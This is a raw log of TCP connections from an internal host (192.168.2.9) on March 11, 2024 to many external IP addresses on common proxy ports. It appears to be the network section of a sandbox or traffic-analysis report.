Mar 11, 2024 15:21:02.386651039 CET	51015	18636	192.168.2.9	51.79.87.144
Mar 11, 2024 15:21:02.386749029 CET	80	49838	50.168.163.182	192.168.2.9
Mar 11, 2024 15:21:02.387067080 CET	51016	80	192.168.2.9	50.223.246.226
Mar 11, 2024 15:21:02.387584925 CET	49818	80	192.168.2.9	216.137.184.253
Mar 11, 2024 15:21:02.387588024 CET	49970	4145	192.168.2.9	222.124.130.197
Mar 11, 2024 15:21:02.387588978 CET	49833	16379	192.168.2.9	163.172.129.251
Mar 11, 2024 15:21:02.387603998 CET	49839	5678	192.168.2.9	181.117.128.38
Mar 11, 2024 15:21:02.387603998 CET	49844	3128	192.168.2.9	81.134.57.82
Mar 11, 2024 15:21:02.387605906 CET	49846	3128	192.168.2.9	91.189.177.189
Mar 11, 2024 15:21:02.387607098 CET	49840	5566	192.168.2.9	85.25.93.172
Mar 11, 2024 15:21:02.387630939 CET	50000	3128	192.168.2.9	37.120.222.132
Mar 11, 2024 15:21:02.387636900 CET	49837	8080	192.168.2.9	1.10.183.22
Mar 11, 2024 15:21:02.387922049 CET	49847	8080	192.168.2.9	193.34.95.110
Mar 11, 2024 15:21:02.388709068 CET	3129	50150	130.162.213.175	192.168.2.9
Mar 11, 2024 15:21:02.389153957 CET	51017	1080	192.168.2.9	64.124.145.1
Mar 11, 2024 15:21:02.389390945 CET	51018	8080	192.168.2.9	103.217.217.190
Mar 11, 2024 15:21:02.389782906 CET	3129	50150	130.162.213.175	192.168.2.9
Mar 11, 2024 15:21:02.390248060 CET	4153	50450	180.183.39.207	192.168.2.9
Mar 11, 2024 15:21:02.390701056 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:02.391396999 CET	29915	50657	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:02.391519070 CET	20828	50425	103.92.235.60	192.168.2.9
Mar 11, 2024 15:21:02.391575098 CET	9002	50003	220.248.70.237	192.168.2.9
Mar 11, 2024 15:21:02.391606092 CET	9002	50003	220.248.70.237	192.168.2.9
Mar 11, 2024 15:21:02.391685009 CET	50003	9002	192.168.2.9	220.248.70.237
Mar 11, 2024 15:21:02.391686916 CET	50425	20828	192.168.2.9	103.92.235.60
Mar 11, 2024 15:21:02.392008066 CET	50003	9002	192.168.2.9	220.248.70.237
Mar 11, 2024 15:21:02.392070055 CET	50425	20828	192.168.2.9	103.92.235.60
Mar 11, 2024 15:21:02.392579079 CET	80	50729	143.198.226.25	192.168.2.9
Mar 11, 2024 15:21:02.392807961 CET	50729	80	192.168.2.9	143.198.226.25
Mar 11, 2024 15:21:02.392998934 CET	50729	80	192.168.2.9	143.198.226.25
Mar 11, 2024 15:21:02.393440962 CET	51019	9000	192.168.2.9	61.254.81.88
Mar 11, 2024 15:21:02.394071102 CET	51020	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:02.394375086 CET	51021	4153	192.168.2.9	185.32.4.65
Mar 11, 2024 15:21:02.394812107 CET	51022	4145	192.168.2.9	103.51.46.2
Mar 11, 2024 15:21:02.394993067 CET	51024	8080	192.168.2.9	175.100.98.190
Mar 11, 2024 15:21:02.395003080 CET	51023	18809	192.168.2.9	162.214.121.11
Mar 11, 2024 15:21:02.395284891 CET	51025	5678	192.168.2.9	159.192.145.153
Mar 11, 2024 15:21:02.395292044 CET	51026	4153	192.168.2.9	112.109.20.198
Mar 11, 2024 15:21:02.395292997 CET	10007	50172	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:02.395492077 CET	51027	80	192.168.2.9	162.223.91.11
Mar 11, 2024 15:21:02.395785093 CET	51028	61818	192.168.2.9	159.223.71.71
Mar 11, 2024 15:21:02.395786047 CET	50172	10007	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:02.396028042 CET	51029	8118	192.168.2.9	88.99.131.6
Mar 11, 2024 15:21:02.396116018 CET	80	50623	31.223.184.143	192.168.2.9
Mar 11, 2024 15:21:02.396116018 CET	51030	8080	192.168.2.9	79.110.119.177
Mar 11, 2024 15:21:02.396222115 CET	51031	4145	192.168.2.9	103.66.232.169
Mar 11, 2024 15:21:02.396359921 CET	50623	80	192.168.2.9	31.223.184.143
Mar 11, 2024 15:21:02.396481991 CET	50623	80	192.168.2.9	31.223.184.143
Mar 11, 2024 15:21:02.396559954 CET	51032	3629	192.168.2.9	92.38.45.72
Mar 11, 2024 15:21:02.396676064 CET	51033	999	192.168.2.9	190.94.212.151
Mar 11, 2024 15:21:02.396740913 CET	80	50789	104.25.167.88	192.168.2.9
Mar 11, 2024 15:21:02.396936893 CET	50789	80	192.168.2.9	104.25.167.88
Mar 11, 2024 15:21:02.397301912 CET	8888	50548	31.43.158.108	192.168.2.9
Mar 11, 2024 15:21:02.397332907 CET	50789	80	192.168.2.9	104.25.167.88
Mar 11, 2024 15:21:02.397473097 CET	50548	8888	192.168.2.9	31.43.158.108
Mar 11, 2024 15:21:02.397675991 CET	50548	8888	192.168.2.9	31.43.158.108
Mar 11, 2024 15:21:02.397861958 CET	10000	50201	147.75.34.86	192.168.2.9
Mar 11, 2024 15:21:02.398145914 CET	51034	6060	192.168.2.9	185.165.232.65
Mar 11, 2024 15:21:02.398475885 CET	51035	12581	192.168.2.9	72.167.222.113
Mar 11, 2024 15:21:02.398477077 CET	50201	10000	192.168.2.9	147.75.34.86
Mar 11, 2024 15:21:02.398782015 CET	51036	24834	192.168.2.9	107.180.88.41
Mar 11, 2024 15:21:02.399316072 CET	51037	999	192.168.2.9	45.174.87.18
Mar 11, 2024 15:21:02.399586916 CET	51038	8080	192.168.2.9	115.167.124.75
Mar 11, 2024 15:21:02.399614096 CET	4145	50781	72.217.158.202	192.168.2.9
Mar 11, 2024 15:21:02.399956942 CET	51039	17464	192.168.2.9	66.228.35.209
Mar 11, 2024 15:21:02.399959087 CET	50781	4145	192.168.2.9	72.217.158.202
Mar 11, 2024 15:21:02.400191069 CET	51040	64871	192.168.2.9	82.223.121.72
Mar 11, 2024 15:21:02.400531054 CET	9375	49859	92.204.134.38	192.168.2.9
Mar 11, 2024 15:21:02.400573015 CET	51041	8000	192.168.2.9	198.199.120.65
Mar 11, 2024 15:21:02.401000977 CET	51042	34455	192.168.2.9	162.241.137.197
Mar 11, 2024 15:21:02.401253939 CET	51043	999	192.168.2.9	190.94.212.150
Mar 11, 2024 15:21:02.401736021 CET	51044	1645	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:02.401741028 CET	51045	8080	192.168.2.9	107.178.9.186
Mar 11, 2024 15:21:02.401968956 CET	51046	8080	192.168.2.9	103.211.107.62
Mar 11, 2024 15:21:02.402264118 CET	51047	44734	192.168.2.9	95.111.227.164
Mar 11, 2024 15:21:02.402575970 CET	51048	8080	192.168.2.9	88.135.210.179
Mar 11, 2024 15:21:02.402651072 CET	4153	50531	177.131.16.66	192.168.2.9
Mar 11, 2024 15:21:02.402949095 CET	51049	999	192.168.2.9	181.78.19.248
Mar 11, 2024 15:21:02.403079987 CET	65533	50179	43.128.40.142	192.168.2.9
Mar 11, 2024 15:21:02.403106928 CET	65533	50179	43.128.40.142	192.168.2.9
Mar 11, 2024 15:21:02.403119087 CET	65533	50179	43.128.40.142	192.168.2.9
Mar 11, 2024 15:21:02.403137922 CET	51050	57364	192.168.2.9	162.241.53.72
Mar 11, 2024 15:21:02.403213978 CET	50179	65533	192.168.2.9	43.128.40.142
Mar 11, 2024 15:21:02.403251886 CET	49842	9834	192.168.2.9	91.241.131.179
Mar 11, 2024 15:21:02.403254032 CET	50014	39533	192.168.2.9	167.172.109.12
Mar 11, 2024 15:21:02.403270006 CET	49987	1080	192.168.2.9	43.229.254.163
Mar 11, 2024 15:21:02.403435946 CET	49848	43100	192.168.2.9	192.163.201.131
Mar 11, 2024 15:21:02.403439045 CET	50040	80	192.168.2.9	50.218.57.67
Mar 11, 2024 15:21:02.403440952 CET	49843	10249	192.168.2.9	162.241.114.39
Mar 11, 2024 15:21:02.403440952 CET	49849	8080	192.168.2.9	200.55.249.135
Mar 11, 2024 15:21:02.403491020 CET	9764	50396	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:02.403548002 CET	50396	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:02.403564930 CET	1081	49881	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:02.403642893 CET	1081	49881	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:02.404182911 CET	1081	50569	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:02.404222012 CET	50179	65533	192.168.2.9	43.128.40.142
Mar 11, 2024 15:21:02.404261112 CET	50569	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.405217886 CET	8888	50544	47.236.36.58	192.168.2.9
Mar 11, 2024 15:21:02.405355930 CET	50396	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:02.405992985 CET	51051	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:02.405997038 CET	50569	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.409007072 CET	3128	49723	39.109.113.97	192.168.2.9
Mar 11, 2024 15:21:02.409420967 CET	49723	3128	192.168.2.9	39.109.113.97
Mar 11, 2024 15:21:02.409575939 CET	49723	3128	192.168.2.9	39.109.113.97
Mar 11, 2024 15:21:02.409732103 CET	10011	49937	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:02.411269903 CET	20896	50735	91.134.140.160	192.168.2.9
Mar 11, 2024 15:21:02.411490917 CET	50735	20896	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.411874056 CET	50735	20896	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.412167072 CET	80	50619	50.174.7.153	192.168.2.9
Mar 11, 2024 15:21:02.413067102 CET	51052	10011	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:02.413697958 CET	80	49784	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:02.413712025 CET	80	49784	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:02.414490938 CET	4145	50767	199.102.104.70	192.168.2.9
Mar 11, 2024 15:21:02.414895058 CET	80	50377	31.43.179.160	192.168.2.9
Mar 11, 2024 15:21:02.415843964 CET	80	50494	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:02.415858984 CET	8080	49726	46.209.54.102	192.168.2.9
Mar 11, 2024 15:21:02.415965080 CET	50494	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:02.417000055 CET	50494	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:02.417851925 CET	4145	50645	72.210.221.223	192.168.2.9
Mar 11, 2024 15:21:02.418025017 CET	50645	4145	192.168.2.9	72.210.221.223
Mar 11, 2024 15:21:02.418813944 CET	50174	36129	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:02.418821096 CET	50645	4145	192.168.2.9	72.210.221.223
Mar 11, 2024 15:21:02.418853045 CET	49886	50109	192.168.2.9	31.24.44.92
Mar 11, 2024 15:21:02.418858051 CET	49850	80	192.168.2.9	37.120.189.106
Mar 11, 2024 15:21:02.418874025 CET	49854	999	192.168.2.9	38.7.204.129
Mar 11, 2024 15:21:02.418876886 CET	49858	35396	192.168.2.9	192.163.200.93
Mar 11, 2024 15:21:02.418879032 CET	49851	28040	192.168.2.9	132.148.167.243
Mar 11, 2024 15:21:02.418895006 CET	49857	8061	192.168.2.9	103.169.254.186
Mar 11, 2024 15:21:02.418915033 CET	49873	6522	192.168.2.9	45.117.179.179
Mar 11, 2024 15:21:02.418915987 CET	50041	27660	192.168.2.9	139.162.181.177
Mar 11, 2024 15:21:02.418915987 CET	49855	8081	192.168.2.9	83.238.80.18
Mar 11, 2024 15:21:02.418915987 CET	49871	8080	192.168.2.9	185.194.11.180
Mar 11, 2024 15:21:02.418922901 CET	49879	44017	192.168.2.9	195.138.73.54
Mar 11, 2024 15:21:02.418922901 CET	49864	29758	192.168.2.9	51.161.99.114
Mar 11, 2024 15:21:02.418924093 CET	49860	3128	192.168.2.9	18.237.185.112
Mar 11, 2024 15:21:02.418924093 CET	49867	1080	192.168.2.9	195.98.74.57
Mar 11, 2024 15:21:02.418924093 CET	49869	31042	192.168.2.9	162.214.227.68
Mar 11, 2024 15:21:02.418924093 CET	49877	3128	192.168.2.9	213.97.161.224
Mar 11, 2024 15:21:02.418926001 CET	49876	8811	192.168.2.9	51.158.172.165
Mar 11, 2024 15:21:02.418927908 CET	49865	3128	192.168.2.9	83.229.61.198
Mar 11, 2024 15:21:02.418927908 CET	49852	16099	192.168.2.9	67.79.51.210
Mar 11, 2024 15:21:02.418927908 CET	49862	48678	192.168.2.9	31.197.253.254
Mar 11, 2024 15:21:02.418927908 CET	49874	30895	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.419018030 CET	49889	34405	192.168.2.9	212.110.188.189
Mar 11, 2024 15:21:02.419020891 CET	49880	3128	192.168.2.9	104.248.146.99
Mar 11, 2024 15:21:02.419022083 CET	49883	3128	192.168.2.9	86.107.178.109
Mar 11, 2024 15:21:02.419981956 CET	80	50574	50.170.90.31	192.168.2.9
Mar 11, 2024 15:21:02.420078039 CET	80	50580	172.67.182.102	192.168.2.9
Mar 11, 2024 15:21:02.420089960 CET	80	50580	172.67.182.102	192.168.2.9
Mar 11, 2024 15:21:02.420396090 CET	50580	80	192.168.2.9	172.67.182.102
Mar 11, 2024 15:21:02.421197891 CET	3128	50576	130.162.213.175	192.168.2.9
Mar 11, 2024 15:21:02.421221972 CET	9764	50396	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:02.421236992 CET	80	50580	172.67.182.102	192.168.2.9
Mar 11, 2024 15:21:02.421339035 CET	50576	3128	192.168.2.9	130.162.213.175
Mar 11, 2024 15:21:02.421343088 CET	50580	80	192.168.2.9	172.67.182.102
Mar 11, 2024 15:21:02.421565056 CET	50576	3128	192.168.2.9	130.162.213.175
Mar 11, 2024 15:21:02.422688007 CET	47935	50691	104.36.166.34	192.168.2.9
Mar 11, 2024 15:21:02.422792912 CET	50691	47935	192.168.2.9	104.36.166.34
Mar 11, 2024 15:21:02.423305988 CET	80	50400	104.16.108.149	192.168.2.9
Mar 11, 2024 15:21:02.424487114 CET	80	50609	104.25.115.125	192.168.2.9
Mar 11, 2024 15:21:02.424499989 CET	80	50609	104.25.115.125	192.168.2.9
Mar 11, 2024 15:21:02.424541950 CET	80	50611	104.21.194.182	192.168.2.9
Mar 11, 2024 15:21:02.424566031 CET	80	50611	104.21.194.182	192.168.2.9
Mar 11, 2024 15:21:02.424581051 CET	4145	50662	68.1.210.189	192.168.2.9
Mar 11, 2024 15:21:02.424701929 CET	50662	4145	192.168.2.9	68.1.210.189
Mar 11, 2024 15:21:02.424844980 CET	80	50609	104.25.115.125	192.168.2.9
Mar 11, 2024 15:21:02.424918890 CET	80	50611	104.21.194.182	192.168.2.9
Mar 11, 2024 15:21:02.424982071 CET	50611	80	192.168.2.9	104.21.194.182
Mar 11, 2024 15:21:02.424982071 CET	50609	80	192.168.2.9	104.25.115.125
Mar 11, 2024 15:21:02.425750017 CET	80	50610	203.24.109.230	192.168.2.9
Mar 11, 2024 15:21:02.425777912 CET	80	50610	203.24.109.230	192.168.2.9
Mar 11, 2024 15:21:02.426057100 CET	80	50406	104.19.138.4	192.168.2.9
Mar 11, 2024 15:21:02.426295042 CET	80	50610	203.24.109.230	192.168.2.9
Mar 11, 2024 15:21:02.426419973 CET	80	50408	104.20.56.71	192.168.2.9
Mar 11, 2024 15:21:02.426459074 CET	50610	80	192.168.2.9	203.24.109.230
Mar 11, 2024 15:21:02.429416895 CET	10235	50699	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:02.429963112 CET	51535	49950	162.241.66.135	192.168.2.9
Mar 11, 2024 15:21:02.430143118 CET	80	50416	104.20.178.166	192.168.2.9
Mar 11, 2024 15:21:02.432337999 CET	80	49963	27.96.235.171	192.168.2.9
Mar 11, 2024 15:21:02.434106112 CET	8080	50803	5.78.44.6	192.168.2.9
Mar 11, 2024 15:21:02.434497118 CET	49890	38242	192.168.2.9	198.57.195.42
Mar 11, 2024 15:21:02.434545994 CET	49803	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:02.434611082 CET	49884	8080	192.168.2.9	187.188.169.169
Mar 11, 2024 15:21:02.434611082 CET	49898	999	192.168.2.9	177.136.84.200
Mar 11, 2024 15:21:02.434611082 CET	50106	5881	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:02.434611082 CET	49888	1080	192.168.2.9	88.255.102.40
Mar 11, 2024 15:21:02.434619904 CET	49870	58249	192.168.2.9	159.203.5.54
Mar 11, 2024 15:21:02.434622049 CET	49891	80	192.168.2.9	181.120.28.228
Mar 11, 2024 15:21:02.436419010 CET	8080	50573	219.243.212.118	192.168.2.9
Mar 11, 2024 15:21:02.436526060 CET	50573	8080	192.168.2.9	219.243.212.118
Mar 11, 2024 15:21:02.438311100 CET	80	50859	172.67.181.197	192.168.2.9
Mar 11, 2024 15:21:02.438411951 CET	50859	80	192.168.2.9	172.67.181.197
Mar 11, 2024 15:21:02.438530922 CET	80	50635	104.24.35.152	192.168.2.9
Mar 11, 2024 15:21:02.438647985 CET	80	50635	104.24.35.152	192.168.2.9
Mar 11, 2024 15:21:02.438832998 CET	8080	50809	5.78.89.192	192.168.2.9
Mar 11, 2024 15:21:02.438844919 CET	80	50635	104.24.35.152	192.168.2.9
Mar 11, 2024 15:21:02.438951015 CET	50635	80	192.168.2.9	104.24.35.152
Mar 11, 2024 15:21:02.440064907 CET	9080	50456	38.54.95.19	192.168.2.9
Mar 11, 2024 15:21:02.442497015 CET	8380	50338	68.169.60.220	192.168.2.9
Mar 11, 2024 15:21:02.444525957 CET	80	49803	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:02.445441961 CET	80	49803	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:02.447904110 CET	51123	50715	92.204.134.38	192.168.2.9
Mar 11, 2024 15:21:02.448242903 CET	50715	51123	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:02.448460102 CET	9150	50210	86.8.163.88	192.168.2.9
Mar 11, 2024 15:21:02.450092077 CET	49892	3128	192.168.2.9	160.16.90.35
Mar 11, 2024 15:21:02.450093985 CET	49897	3128	192.168.2.9	45.159.189.244
Mar 11, 2024 15:21:02.450098038 CET	49896	32092	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:02.450098038 CET	49900	80	192.168.2.9	45.224.247.102
Mar 11, 2024 15:21:02.450110912 CET	49912	8082	192.168.2.9	103.108.89.164
Mar 11, 2024 15:21:02.450112104 CET	49916	1080	192.168.2.9	103.47.93.216
Mar 11, 2024 15:21:02.450110912 CET	49908	58438	192.168.2.9	208.109.39.171
Mar 11, 2024 15:21:02.450119019 CET	49905	80	192.168.2.9	23.161.96.132
Mar 11, 2024 15:21:02.450119019 CET	49907	8080	192.168.2.9	91.187.113.68
Mar 11, 2024 15:21:02.450160980 CET	49914	1080	192.168.2.9	5.180.19.163
Mar 11, 2024 15:21:02.450164080 CET	49915	59792	192.168.2.9	95.216.224.15
Mar 11, 2024 15:21:02.450220108 CET	49913	5219	192.168.2.9	45.11.95.165
Mar 11, 2024 15:21:02.451519012 CET	80	50637	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:02.451728106 CET	50637	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.452128887 CET	32261	50746	72.10.160.171	192.168.2.9
Mar 11, 2024 15:21:02.453052044 CET	4145	50357	72.195.101.99	192.168.2.9
Mar 11, 2024 15:21:02.453064919 CET	4145	50357	72.195.101.99	192.168.2.9
Mar 11, 2024 15:21:02.454544067 CET	80	50528	211.128.96.206	192.168.2.9
Mar 11, 2024 15:21:02.455400944 CET	80	49748	52.67.10.183	192.168.2.9
Mar 11, 2024 15:21:02.457024097 CET	50611	80	192.168.2.9	104.21.194.182
Mar 11, 2024 15:21:02.457102060 CET	50662	4145	192.168.2.9	68.1.210.189
Mar 11, 2024 15:21:02.457102060 CET	50609	80	192.168.2.9	104.25.115.125
Mar 11, 2024 15:21:02.457190990 CET	50610	80	192.168.2.9	203.24.109.230
Mar 11, 2024 15:21:02.457472086 CET	51053	5678	192.168.2.9	103.88.126.170
Mar 11, 2024 15:21:02.457513094 CET	80	49963	27.96.235.171	192.168.2.9
Mar 11, 2024 15:21:02.457849026 CET	80	50540	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:02.457890034 CET	51054	5678	192.168.2.9	193.106.57.96
Mar 11, 2024 15:21:02.457923889 CET	51055	39789	192.168.2.9	209.142.64.219
Mar 11, 2024 15:21:02.457922935 CET	50540	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:02.458183050 CET	51056	48738	192.168.2.9	199.85.209.166
Mar 11, 2024 15:21:02.458188057 CET	51057	4145	192.168.2.9	142.54.239.1
Mar 11, 2024 15:21:02.458426952 CET	51058	34411	192.168.2.9	212.110.188.195
Mar 11, 2024 15:21:02.458617926 CET	51059	1080	192.168.2.9	103.47.93.210
Mar 11, 2024 15:21:02.458662033 CET	51060	1976	192.168.2.9	41.65.236.35
Mar 11, 2024 15:21:02.458731890 CET	51061	3128	192.168.2.9	194.145.209.187
Mar 11, 2024 15:21:02.458854914 CET	51062	1080	192.168.2.9	160.226.237.187
Mar 11, 2024 15:21:02.459054947 CET	51064	8080	192.168.2.9	51.145.176.25
Mar 11, 2024 15:21:02.459055901 CET	51063	1080	192.168.2.9	88.99.10.252
Mar 11, 2024 15:21:02.459310055 CET	51066	80	192.168.2.9	51.75.122.80
Mar 11, 2024 15:21:02.459311962 CET	51065	64654	192.168.2.9	162.19.7.53
Mar 11, 2024 15:21:02.459606886 CET	51069	7117	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:02.459620953 CET	51068	999	192.168.2.9	201.77.110.1
Mar 11, 2024 15:21:02.459690094 CET	51067	8080	192.168.2.9	109.201.14.82
Mar 11, 2024 15:21:02.459753036 CET	51070	8000	192.168.2.9	20.118.1.112
Mar 11, 2024 15:21:02.459881067 CET	51071	8081	192.168.2.9	79.110.201.235
Mar 11, 2024 15:21:02.460021973 CET	51072	8080	192.168.2.9	54.223.158.88
Mar 11, 2024 15:21:02.460122108 CET	51073	8080	192.168.2.9	103.186.90.18
Mar 11, 2024 15:21:02.460306883 CET	51074	4153	192.168.2.9	152.32.84.108
Mar 11, 2024 15:21:02.460407019 CET	51075	6106	192.168.2.9	104.251.212.206
Mar 11, 2024 15:21:02.460484028 CET	51076	51372	192.168.2.9	109.224.22.34
Mar 11, 2024 15:21:02.460727930 CET	51078	3128	192.168.2.9	178.207.8.20
Mar 11, 2024 15:21:02.460728884 CET	51077	9090	192.168.2.9	5.135.136.60
Mar 11, 2024 15:21:02.460941076 CET	51080	1080	192.168.2.9	103.97.179.115
Mar 11, 2024 15:21:02.460942030 CET	51079	1372	192.168.2.9	159.223.166.21
Mar 11, 2024 15:21:02.461143017 CET	51081	1088	192.168.2.9	46.227.37.21
Mar 11, 2024 15:21:02.461210966 CET	51082	80	192.168.2.9	50.174.145.12
Mar 11, 2024 15:21:02.461374998 CET	51083	8080	192.168.2.9	185.189.199.77
Mar 11, 2024 15:21:02.461502075 CET	51084	3128	192.168.2.9	95.56.254.139
Mar 11, 2024 15:21:02.461631060 CET	51085	80	192.168.2.9	141.136.42.164
Mar 11, 2024 15:21:02.461756945 CET	51086	11802	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:02.461941957 CET	51087	80	192.168.2.9	50.207.199.83
Mar 11, 2024 15:21:02.462017059 CET	51088	999	192.168.2.9	167.249.29.220
Mar 11, 2024 15:21:02.462222099 CET	51090	29631	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:02.462227106 CET	51089	80	192.168.2.9	50.174.7.156
Mar 11, 2024 15:21:02.462300062 CET	51091	9999	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:02.462501049 CET	51092	62952	192.168.2.9	104.248.158.78
Mar 11, 2024 15:21:02.462562084 CET	51093	39593	192.168.2.9	209.240.50.56
Mar 11, 2024 15:21:02.463377953 CET	50691	47935	192.168.2.9	104.36.166.34
Mar 11, 2024 15:21:02.463635921 CET	50573	8080	192.168.2.9	219.243.212.118
Mar 11, 2024 15:21:02.463638067 CET	50635	80	192.168.2.9	104.24.35.152
Mar 11, 2024 15:21:02.464142084 CET	50859	80	192.168.2.9	172.67.181.197
Mar 11, 2024 15:21:02.464145899 CET	50715	51123	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:02.464638948 CET	50637	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.464642048 CET	50540	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:02.464863062 CET	3128	50618	139.129.162.65	192.168.2.9
Mar 11, 2024 15:21:02.465003014 CET	80	50661	185.212.60.62	192.168.2.9
Mar 11, 2024 15:21:02.465035915 CET	50618	3128	192.168.2.9	139.129.162.65
Mar 11, 2024 15:21:02.465121984 CET	50661	80	192.168.2.9	185.212.60.62
Mar 11, 2024 15:21:02.465631008 CET	50618	3128	192.168.2.9	139.129.162.65
Mar 11, 2024 15:21:02.465707064 CET	49734	3128	192.168.2.9	165.232.158.60
Mar 11, 2024 15:21:02.465722084 CET	49924	3030	192.168.2.9	158.247.207.153
Mar 11, 2024 15:21:02.465723991 CET	49918	62192	192.168.2.9	162.241.53.72
Mar 11, 2024 15:21:02.465724945 CET	49917	80	192.168.2.9	209.13.186.20
Mar 11, 2024 15:21:02.465723991 CET	49921	58927	192.168.2.9	200.116.198.160
Mar 11, 2024 15:21:02.465724945 CET	49901	53718	192.168.2.9	207.244.241.165
Mar 11, 2024 15:21:02.465730906 CET	50661	80	192.168.2.9	185.212.60.62
Mar 11, 2024 15:21:02.465730906 CET	50136	80	192.168.2.9	50.168.72.117
Mar 11, 2024 15:21:02.465730906 CET	49902	8080	192.168.2.9	185.108.141.19
Mar 11, 2024 15:21:02.465742111 CET	49910	12919	192.168.2.9	192.169.205.131
Mar 11, 2024 15:21:02.465749979 CET	49906	4145	192.168.2.9	185.136.150.252
Mar 11, 2024 15:21:02.465774059 CET	49922	999	192.168.2.9	45.162.132.129
Mar 11, 2024 15:21:02.465775967 CET	49919	64109	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:02.465840101 CET	49925	8080	192.168.2.9	200.54.22.74
Mar 11, 2024 15:21:02.465841055 CET	49927	16379	192.168.2.9	163.172.169.27
Mar 11, 2024 15:21:02.465840101 CET	50086	80	192.168.2.9	50.222.245.47
Mar 11, 2024 15:21:02.466635942 CET	80	50792	50.204.190.234	192.168.2.9
Mar 11, 2024 15:21:02.466669083 CET	51094	4145	192.168.2.9	72.195.101.99
Mar 11, 2024 15:21:02.468879938 CET	56613	50651	54.38.179.162	192.168.2.9
Mar 11, 2024 15:21:02.468898058 CET	7891	50639	43.129.228.46	192.168.2.9
Mar 11, 2024 15:21:02.468990088 CET	50651	56613	192.168.2.9	54.38.179.162
Mar 11, 2024 15:21:02.468990088 CET	50639	7891	192.168.2.9	43.129.228.46
Mar 11, 2024 15:21:02.469290018 CET	50651	56613	192.168.2.9	54.38.179.162
Mar 11, 2024 15:21:02.469291925 CET	50639	7891	192.168.2.9	43.129.228.46
Mar 11, 2024 15:21:02.469957113 CET	80	50452	104.16.224.33	192.168.2.9
Mar 11, 2024 15:21:02.470016956 CET	4145	50827	104.37.135.145	192.168.2.9
Mar 11, 2024 15:21:02.470135927 CET	50827	4145	192.168.2.9	104.37.135.145
Mar 11, 2024 15:21:02.470304966 CET	50827	4145	192.168.2.9	104.37.135.145
Mar 11, 2024 15:21:02.470633984 CET	28549	50798	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:02.472018003 CET	8080	50360	124.120.113.165	192.168.2.9
Mar 11, 2024 15:21:02.473002911 CET	51095	10008	192.168.2.9	147.75.92.244
Mar 11, 2024 15:21:02.473329067 CET	51096	8080	192.168.2.9	139.135.139.246
Mar 11, 2024 15:21:02.473618984 CET	51097	80	192.168.2.9	5.135.83.214
Mar 11, 2024 15:21:02.474607944 CET	80	50459	104.25.42.178	192.168.2.9
Mar 11, 2024 15:21:02.476906061 CET	80	50659	172.67.182.38	192.168.2.9
Mar 11, 2024 15:21:02.476927996 CET	80	50659	172.67.182.38	192.168.2.9
Mar 11, 2024 15:21:02.477193117 CET	50659	80	192.168.2.9	172.67.182.38
Mar 11, 2024 15:21:02.477212906 CET	80	50659	172.67.182.38	192.168.2.9
Mar 11, 2024 15:21:02.477287054 CET	50659	80	192.168.2.9	172.67.182.38
Mar 11, 2024 15:21:02.477315903 CET	80	49966	5.61.33.234	192.168.2.9
Mar 11, 2024 15:21:02.479450941 CET	80	50669	128.140.26.12	192.168.2.9
Mar 11, 2024 15:21:02.479475021 CET	8888	50256	35.199.90.225	192.168.2.9
Mar 11, 2024 15:21:02.479614019 CET	9002	50275	111.59.4.88	192.168.2.9
Mar 11, 2024 15:21:02.479655027 CET	50669	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:02.479779005 CET	50275	9002	192.168.2.9	111.59.4.88
Mar 11, 2024 15:21:02.479890108 CET	50669	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:02.480102062 CET	50275	9002	192.168.2.9	111.59.4.88
Mar 11, 2024 15:21:02.481237888 CET	80	49997	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:02.481342077 CET	49928	8080	192.168.2.9	24.176.53.183
Mar 11, 2024 15:21:02.481358051 CET	49930	56252	192.168.2.9	103.59.190.209
Mar 11, 2024 15:21:02.481368065 CET	49939	3128	192.168.2.9	193.239.86.249
Mar 11, 2024 15:21:02.481389999 CET	49929	1080	192.168.2.9	185.82.218.52
